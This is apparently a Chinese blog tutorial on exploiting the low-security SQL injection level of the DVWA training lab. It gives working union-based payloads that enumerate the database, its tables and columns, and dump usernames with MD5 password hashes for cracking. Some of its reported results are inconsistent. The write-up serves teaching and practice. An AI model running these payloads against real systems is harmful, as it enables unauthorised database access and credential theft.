天天看点

DVWA------sql注入(low)(字符型)

=================================================================================

0x01:上low源码
DVWA------sql注入(low)(字符型)

=================================================================================

0x02:sql注入(low)

一、sql注入的过程:

1.寻找注入点

2.判断注入类型

3.判断数据库类型

4.获取数据库内容+提权

二、怎么寻找注入点:

1.注入点特点:

①可以跟数据库直接交互

②**?id=num**

? 是一种传参的形式,必要的

id=1,有什么用呢,它是用ID的值1与数据库进行交互,从而获得网页内容的回显

③如下图所示,?id=1,成功返回了网页内容,与数据库是直接交互的

DVWA------sql注入(low)(字符型)

2.注入点类型:

①get型:使用URL框注入

②post型:使用输入框注入

③cokkie型

①字符型

②整型

三、怎么判断注入点类型:

get型的注入方法:

一般进去网页后,会在id后面输入,这样的三个语句测试:

?id=1’

?id=1 and 1=1

?id=1 and 1=2

整型的判断结果:

?id=1’ 报错

?id=1’ and 1=1 正常回显

?id=1’ and 1=2 不正常回显

问:?id=1'  and  1=1到底是什么啊?好恶心?
答:?id=1'  and  1=1的剖析
①?  		 //这个符号只是一个固定的传参格式,必须存在
②id=1		//一个语句,用来向服务器交互时候,调用id=1的内容
③and      //一个逻辑判断符号,逻辑与,众所周知,只有两个表达式同时正确成立,才会运行该命令,才会与sql服务器交互
④1=1		//恒真,一个真语句
⑤1=2		//恒假,一个假语句
⑥?id=1  and  1=1  //是一个真语句,会执行命令与服务器交互
⑦?id=1  and  1=2  //是一个假语句,不会执行命令与服务器交互
⑧总之,and  1=2  这个逻辑判断语句就是,用来控制and前面的语句是否执行的
           

字符型的判断结果:

?id=1’ 报错

?id=1’ and 1=1 正常回显

?id=1’ and 1=2 正常回显

?id=1’ and ‘1’=‘1 正常

?id=1’ and ‘1’='1 不正常回显

问:为什么要加那么多引号呢?花里胡哨的。。。。。
答:?id=1'  and  '1'='1   剖析
①因为已知是字符型格式嘛,那么这条语句实质上是:  ?id='1'  and  '1'='1'   
又,由于传输的时候,会自动在输入的值得前后添加一对单引号,所以把最前和最后的单引号去掉就是:?id=1'  and  '1'='1
           

例字----post型的注入判断,字符型判断结果:

①输入’

DVWA------sql注入(low)(字符型)

②结果为:’’’’’

DVWA------sql注入(low)(字符型)
问:你会发现,出现五个单引号,这是为什么呢?

答:从内往外分析!
①一个单引号,这个是自己输入的单引号
②还有一对单引号为什么,因为,可能是字符型注入?然而字符型时候,系统会自动在参数的一前一后添加一对单引号,例如id='1'
③但是,还有一对引号呢?这个是报错的提示,提示你时候使用单引号达到高亮的效果,只是引住,起到强调的作用。
           

③输入:1’ and ‘1’=‘1

DVWA------sql注入(low)(字符型)

结果如下:

DVWA------sql注入(low)(字符型)

④输入:1’ and ‘1’='2

注意:结果也如下

DVWA------sql注入(low)(字符型)

三.判断数据库类型

四.获取数据库内容+提权

=================================================================================

0x03:low等级的手工注入过程如下

第一步:查看注入点,很明显的吧。。。。。

DVWA------sql注入(low)(字符型)

第二步:判断注入类型

①输入:

1'

DVWA------sql注入(low)(字符型)

//结果如下:报错

DVWA------sql注入(low)(字符型)

②输入:

1 and 1=1

DVWA------sql注入(low)(字符型)

//结果如下:正常回显

DVWA------sql注入(low)(字符型)

③输入:1 and 1=2

DVWA------sql注入(low)(字符型)

//结果如下:正常回显

DVWA------sql注入(low)(字符型)

④输入:

1' and '1'='1

DVWA------sql注入(low)(字符型)

//结果如下,结果如下:

DVWA------sql注入(low)(字符型)

⑤输入:

1' and '1'='2

DVWA------sql注入(low)(字符型)

//结果如下,不正常回显

DVWA------sql注入(low)(字符型)

由此判断为:字符型注入。。。。。。。。。。。。。。。

第三步:判断数据库类型

1.dvwa使用的是mysql数据库

第四步:开始注入数据库,爆库,提权等等

1.使用order by二分法猜测字段个数

①输入:

1' order by 5

DVWA------sql注入(low)(字符型)

如图所示:发现有错误

DVWA------sql注入(low)(字符型)

②输入:

1' order by 5 #

DVWA------sql注入(low)(字符型)

//结果如下,这不是报错,这个是显示无法识别有5个列,说明莫得5个列

DVWA------sql注入(low)(字符型)

③输入:

1' order by 3 #

DVWA------sql注入(low)(字符型)

//结果如下,显示莫得3列

DVWA------sql注入(low)(字符型)

④输入:

1' order by 4 #

DVWA------sql注入(low)(字符型)

//结果如下,显示有两个列

ID: 1’ order by 2 # //注意,这个是命令的回显,只是为了练习的方便,才显示,正常情况莫得的

First name: admin //第一个列

Surname: admin //第二个列

DVWA------sql注入(low)(字符型)

2.联合查询:

①不需要再联合查询,尝试哪个列中可以注入内容

因为:输入:

1' union select 1,2 #

结果如下:first name和surname是有内容的

DVWA------sql注入(low)(字符型)

注意:联合查询的1和2只是一个代数

②联合查询,把1和2换成database(),user(),version()等等查看对应的信息

输入:

1' union select database(),user() #

结果如下:显示了数据库名字为dvwa,和用户名称为root,@只是一个连接符,hostname为localhost

DVWA------sql注入(low)(字符型)

输入:

1' union select version(),2 #

结果如下,显示了数据库版本为5.5.53

DVWA------sql注入(low)(字符型)

3.爆数据库dvwa里的表

方法1:一次性显示表

①输入,

1' union select group_concat(table_name),user() from information_schema.tables where table_schema='dvwa' #

结果如下:一次性爆出了所有的表为:guestbook和users

DVWA------sql注入(low)(字符型)

方法2:一个一个的显示

②输入,

1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#

结果如下:有两个表guestbook和users

DVWA------sql注入(low)(字符型)

4.爆出users表里的列

①输入,

1' union select 1,column_name from information_schema.columns where table_name='users'#

结果如下:爆出表users里的内容,有8个列

DVWA------sql注入(low)(字符型)

5.爆出user列和passwd列里的内容信息

①输入,

1' union select 1,group_concat(user,password) from users#

结果如下,但是有些杂乱,全都放到一起了

DVWA------sql注入(low)(字符型)

②输入,

1' union select 1,concat_ws(char(32,58,32),user,password) from users#

注意:32为空格,58为冒号

结果如下:显示了,用户名:密码

DVWA------sql注入(low)(字符型)

上图中的密码经过了md5加密,解密即可,如下,用户admin的密码为password

//解密网址:https://www.cmd5.com/

DVWA------sql注入(low)(字符型)

=================================================================================